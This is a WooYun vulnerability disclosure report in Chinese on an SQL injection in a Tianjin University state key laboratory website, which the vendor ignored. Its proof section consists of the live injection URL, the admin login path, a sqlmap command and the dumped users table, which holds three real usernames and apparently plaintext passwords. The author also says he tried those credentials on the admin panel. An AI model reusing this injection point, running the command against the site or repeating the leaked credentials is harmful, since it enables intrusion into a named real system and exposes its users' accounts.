当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109042

漏洞标题:天津大学某安全国家重点实验室注入一枚

相关厂商:hssskl.tju.edu.cn

漏洞作者: 小天

提交时间:2015-04-24 11:55

修复时间:2015-04-29 11:56

公开时间:2015-04-29 11:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

我这次在乌云上搜了一下,,发现上面没有这个漏洞,,,域名和关键字都没有,,,如果重复了,,我也没法子了,,,,乌云应该搞一个根据域名搜索的,,,,,,这样子多好

详细说明:

注入点: http://hssskl.tju.edu.cn/teachers.asp?id=47 
后台登陆点:http://hssskl.tju.edu.cn/MainTain/
可是我怎么发现,,拿到的用户名和密码登陆不进去呢,,难道还有另一个入口,,,,
不搞了,,注入如下:

漏洞证明:

sqlmap.py -u http://hssskl.tju.edu.cn/teachers.asp?id=47  --tables
Database: Microsoft_Access_masterdb
[4 tables]
+--------+
| news |
| powers |
| url |
| users |
+--------+
Database: Microsoft_Access_masterdb
Table: users
[3 entries]
+----+---------------+------------+------------+
| id | cname | username | password |
+----+---------------+------------+------------+
| 1 | {\\?a1t\x06TX | jgxymaster | 2120070127 |
| 6 | ?Y\\?8d | shaoyan | 123321 |
| 7 | V\\?e2Y\\?d4 | tuanvei | 27406044 |
+----+---------------+------------+------------+

修复方案:

过滤

版权声明:转载请注明来源 小天@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-29 11:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论